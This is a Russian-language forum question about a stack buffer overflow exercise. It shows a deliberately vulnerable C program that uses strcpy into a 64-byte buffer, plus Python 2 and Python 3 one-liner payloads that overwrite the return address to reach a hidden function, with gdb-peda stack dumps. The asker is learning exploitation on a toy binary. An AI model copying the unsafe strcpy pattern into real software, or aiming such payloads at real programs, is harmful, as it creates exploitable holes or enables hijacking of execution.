Я пытаюсь использовать простое переполнение буфера с помощью gdb и peda, я просто хочу переписать обратный адрес с адресом функции программы, я могу легко сделать это с python2, но это кажется невозможным сpython3, обратный адрес не переписывается с хорошим адресом.
Согласно проведенному мною исследованию, кодирование является причиной этой проблемы, поскольку python2 использует ascii, а python3 использует utf-8.На этом сайте я нашел кое-что, что мне не помогло: /
Вот код уязвимого приложения:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <string.h>
void checkPassword();
void goodPassword();
int main(int argc, char **argv)
{
printf("Debut du programme...\n");
if (argc < 2)
{
printf("Necessite un argument\n");
return 0;
}
printf("Appel de la fonction checkPassword\n");
checkPassword(argv[1]);
printf("Fin du programme\n");
}
void checkPassword(const char *arg)
{
char password[64];
strcpy(password, arg);
if (strcmp(password, "fromage") == 0)
{
goodPassword();
}
else
{
printf("Mauvais mot de passe\n");
}
}
void goodPassword() // This is the function I want to run, adress : 0x565562b2
{
printf("Mot de passe correcte!\n");
}
Вот эксплойт, который я использую в python2
starti $(python2 -c 'print "A"*76 + "\xb2\x62\x55\x56".strip() ')
Вот эксплойт, который я использую в python3, и стек присваивает strcpy:
starti $(python3 -c 'print(b"A"*76 + b"\xb2\x62\x55\x56".strip() ')
gdb-peda$ x/24xw $esp
0xffffcc40: 0xffffcc50 0xffffcfa6 0xf7e2bca9 0x56556261
0xffffcc50: 0x41412762 0x41414141 0x41414141 0x41414141
0xffffcc60: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcc70: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcc80: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcc90: 0x41414141 0x41414141 0x41414141 0x785c4141
Я ожидаю такой вывод:
gdb-peda$ x/24xw $esp
0xffffcc50: 0xffffcc60 0xffffcfac 0xf7e2bca9 0x56556261
0xffffcc60: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcc70: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcc80: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcc90: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcca0: 0x41414141 0x41414141 0x41414141 0x565562b2
, который отлично работает и запускаетфункция хорошего пароля.Спасибо за помощь